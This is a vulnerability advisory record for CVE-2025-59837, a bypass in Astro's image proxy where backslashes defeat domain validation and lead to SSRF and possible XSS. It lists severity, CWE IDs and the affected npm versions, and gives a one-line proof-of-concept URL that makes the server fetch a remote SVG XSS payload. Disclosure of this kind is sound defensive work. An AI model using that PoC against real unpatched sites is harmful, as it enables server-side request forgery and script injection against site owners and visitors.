GHSA-qcpr-679q-rhm2

Source

https://github.com/advisories/GHSA-qcpr-679q-rhm2

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-qcpr-679q-rhm2/GHSA-qcpr-679q-rhm2.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-qcpr-679q-rhm2

Aliases

CVE-2025-59837

Published

2025-10-28T17:45:04Z

Modified

2025-10-29T14:48:45Z

Severity

7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N CVSS Calculator

Summary

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Details

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Database specific

{
    "nvd_published_at": "2025-10-28T20:15:49Z",
    "cwe_ids": [
        "CWE-79",
        "CWE-918"
    ],
    "github_reviewed_at": "2025-10-28T17:45:04Z",
    "severity": "HIGH",
    "github_reviewed": true
}

References

Affected packages

npm / astro

Package

Name: astro; View open source insights on deps.dev
Purl: pkg:npm/astro

Affected ranges

Type: SEMVER
Events: Introduced

5.13.4

Fixed

5.13.10

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-qcpr-679q-rhm2/GHSA-qcpr-679q-rhm2.json"